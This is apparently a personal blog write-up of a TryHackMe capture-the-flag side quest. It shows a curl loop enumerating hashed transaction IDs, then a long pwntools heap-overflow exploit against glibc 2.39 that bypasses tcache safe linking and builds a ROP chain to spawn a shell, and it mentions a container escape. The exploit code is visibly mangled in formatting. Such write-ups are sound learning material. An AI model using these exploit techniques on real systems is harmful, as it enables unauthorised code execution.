Advent of Cyber Side Quest (Part 3)
21 December 2024
Part three of the TryHackMe Advent of Cyber Side Quest! See Part 1 for context.
The Keycard
The main quest room was about race conditions in web apps, using a
simulated banking site. By this point I was habitually running
nmap
and dirb
scans against each main quest
machine, and poking around at what I found. Today the quest machine was
running on port 5000, which indicates it's likely flask. Additionally,
dirb
found a /transactions
subdirectory on the
main server and after poking around it became apparent that the
transaction IDs were just MD5 sums of integers, counting up in sequence
starting from 1337. I tried enumerating all the transactions, which
required a session cookie that I could get from the browser's developer
tools since the challenge provides valid credentials:
for id in {1330..1340}; do curl -b "session=eyJuYW1lIjoicmVzZXJ2ZSIsInVzZXIiOjEwMH0.Z1xQDQ.cJ5cWF8zMQl8xDsnYnOXsm25P8Y" -L "http://10.10.97.169:5000/transactions?id=$(echo -n "$id" | md5sum | awk '{print $1}')"; done
Scrolling through that list revealed one transaction whose ID was
very obviously base64-encoded data (it ended with =
), which
cyberchef decoded to
/secret/0opsIDidItAgain_MayorMalware1337.png
, which was
unsurprisingly the keycard.
T3: Escaping the Blizzard
This one was by far the most difficult challenge of the five, and it took me almost two weeks to solve. I don't mind at all admitting that I needed guidance from more experienced hackers on this one, because it was difficult!
Once the machine was up and running, with the firewall unlocked by putting the keycard password into the input field on port 21337, I ran a standard port and subdirectory scan.
nmap
turned up the following:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
21337/tcp open unknown
And dirb
discovered (among others) a
/backup
directory which contained:
enc
, an x64 ELFrecommended-passwords.txt
, looking like a wordlistsecure-storage.zip
, a passworded zip archive
None of the "recommended passwords" in the text file opened the zip.
I tried John the Ripper but no luck. I asked chatGPT to write me a
one-liner to run each word in the wordlist through the enc
binary, which produced a bunch of hash-like strings. I then tried all
those on the zip and sure enough one of them
(30510d980c6bd5b3898dd0836426807b
) was the correct
password. That zip file contained the first flag, a dockerfile, a binary
called secureStorage, a libc, and an ld-linux.
The libc appeared to be version 2.39 which at the time of this
writing is about 6 months old, and the binary appeared to be a copy of
the service running on port 1337 on the machine. Decompiling the
secureStorage binary with Ghidra revealed a buffer overflow
vulnerability: The user can write up to 16 bytes past the end of what
malloc()
allocates. This is thus a heap overflow, but the
confusing part was that the binary didn't call free()
anywhere.
Cue several days of reading, talking to Pickman's Model, and banging
my head both literally and metaphorically against my keyboard. I've done
a few stack overflows on HackTheBox but never a heap overflow, and to
complicate things this binary had all the relevant protections. It was
compiled PIE, had the nx bit set, the system was running ASLR, and the
version of libc was too recent for many well-known attacks to work
(because of safe linking, removal of free
hooks, etc.).
Eventually I discovered this github repository which helped a lot in understanding wtf was going on. In general, the idea is that the heap is divided into different chunks, and those chunks are tracked in linked lists that glibc calls "bins", with different bins for differently-sized chunks. The smallest chunks are called the "tcache bins" and they're thread-local but are otherwise identical to the "fast bins". All those chunks get allocated from the initial large bit of memory called the top chunk. With each successive call to malloc, the top chunk gets smaller and smaller (assuming no calls to free are made) and then at some point the top chunk is too small, so the allocator has to ask the OS for more memory which becomes a new top chunk, and the old top chunk gets put into the bins.
The important bit is that chunks are generally allocated adjacent to
each other in memory, save for a "fencepost" of metadata headers that
contain describe whether the previous chunk is in use, the size of the
chunk, whether it was mmap
'ed, etc. What that means is with
our heap overflow, we can write into the header of the adjacent chunk
which means, for example, we can change the size and
prev_inuse
flags which allows us to manipulate the
allocator.
So in general we need to first read the pointer to
main_arena
. Arenas, in this context, are contiguous chunks
of memory, and there's a struct at the heap base that contains a pointer
to the main arena. If we can find this pointer then we can calculate the
offset to the base address of libc, and from there we can pivot
to the stack.
Once we get a stack address we can find rop gadgets, create a rop
chain, and write that to the main()
return pointer which
will cause a "return to libc" attack via which we can pop a shell.
I'm including the code I used but it's an absolute fucking mess full of unnamed constants from ghidra or libc.rip. What's more, it only worked from the AttackBox, which is TryHackMe's in-browser version of Kali. The UX is awful but the network is consistent because it runs in AWS the same as the target VMs, whereas my flaky home wifi was causing problems interacting with the binary over the network.
from pwn import *
= ELF('./libc.so.6')
libc = ELF('./ld-linux-x86-64.so.2')
ld = ELF('./secureStorage')
secureStorage
= process("./secureStorage")
p # p = remote("10.10.105.189", 1337)
def prompt():
= p.recvuntilS(b">> ")
r if '[4] Exit Permit Manager' not in r:
print("Unable to wait for prompt")
print(r)
1)
sys.exit(
def create(index, size, data=None):
b'1')
p.sendline(b'Enter permit index:\n')
p.recvuntil(str(index).encode())
p.sendline(b'Enter entry size:\n')
p.recvuntil(str(size).encode())
p.sendline(= p.readline()
r if r != b'Enter entry data:\n':
print(f"create {index} failed:")
print(r)
1)
sys.exit(
p.send(data)
prompt()
def edit(index, data):
b'3')
p.sendline(b'Enter entry index:\n')
p.recvuntil(str(index).encode())
p.sendline(b'Enter data:\n')
p.recvuntil(
p.send(data)
prompt()
def show(index):
b'2')
p.sendline(b'Enter entry index:\n')
p.recvuntil(str(index).encode())
p.sendline(= p.recvuntil(b"\n[1] Create Permit Entry", drop=True)
r
prompt()return r
def exploit():
# Extract top chunk size
0, 24, b"A" * 24)
create(= "0x" + show(0)[24:][::-1].hex()
topchunksize
# Reduce top chunk size by overflow to sysmalloc_int_free and free it to unsorted bin
0, b"A"*24 + p64(eval(topchunksize) & 0xfff))
edit(1, 0xf98, b"B" * 0xf98)
create(
# malloc the chunk freed to unsorted bins and leak main_arena pointer
2, (eval(topchunksize) & 0xfff) - 0x30, b"C" * 8)
create(= "0x"+show(2)[8:][::-1].hex()
main_arena
# calculate libc base
= (eval(main_arena) - 0x60) - libc.symbols["main_arena"]
libc.address = "0x"+show(1)[0xf98:][::-1].hex()
newtopchunksize
# free it to tcache bin same as before
1, b"B" * 0xf98 + p64(eval(newtopchunksize) & 0xfff))
edit(3, 0xf98, b"D" * 0xf98)
create(
# bypass tcache safe linking
1, b"B"*0xfa0)
edit(= "0x"+show(1)[0xfa0:][::-1].hex()[1:]
tcache_leak = eval(tcache_leak+"000") - 0x21000 #ghidra
heap_base 1, b"B" * 0xf98 + p64((eval(newtopchunksize) & 0xfff) - 0x20))
edit(
3, b"D" * 0xf98 + p64(eval(newtopchunksize) & 0xfff))
edit(4, 0xf98, b"E" * 0xf98)
create(= (heap_base + 0x43000) >> 12
tcache_xor = tcache_xor ^ (libc.address + 0x20ad40)
target
# Change the tcache entry adjacent to target
3, b"D" * 0xf98 + p64((eval(newtopchunksize) & 0xfff) - 0x20) + p64(target))
edit(
5, 0x38, b"F")
create(6, 0x38, b"G"*24)
create(
= "0x"+show(6)[24:][::-1].hex()
stack_leak = "0x"+show(4)[0xf98:][::-1].hex() # can't think of better name
newnewtopchunksize
4, b"E" * 0xf98 + p64(eval(newnewtopchunksize) & 0xfff))
edit(7, 0xf98, b"H" * 0xf98 + p64(eval(newnewtopchunksize) & 0xfff))
create(8, 0xf98, b"I" * 0xf98)
create(
# set up a rop chain
= next(libc.search(b"/bin/sh"))
binsh = libc.sym["system"]
system = libc.sym["exit"]
exit = rop.ROP(ELF('./libc.so.6'))
libc_rop = libc.address + libc_rop.rdi.address
rdi_rop = libc.address + libc_rop.ret.address
ret_rop
= [
rop_chain
ret_rop,
rdi_rop,
binsh,
ret_rop,
system,
exit
]
= b''.join(p64(addr) for addr in rop_chain)
rop_chain
print(len(rop_chain))
= (heap_base + 0x87c00) >> 12
tcache2_xor = tcache2_xor ^ (eval(stack_leak) - 0x138)
target2 7, b"H" * 0xf98 + p64((eval(newnewtopchunksize) & 0xfff) - 0x20) + p64(target2))
edit(
9,0x38,b"J")
create(10,0x38, rop_chain)
create(
exploit()
# send "4" to cause main to return and trigger the rop
p.interactive()
Yuck
With that out of the way I found myself in a shell on the target machine, and the second flag was in the shell's home directory. The binary was running in a docker container, and to escape that I used the CDK toolkit, which allowed almost comically-easy access to the third and final flag after the absolute slog to get the shell.
Holy shit that was difficult. Onto Task 4!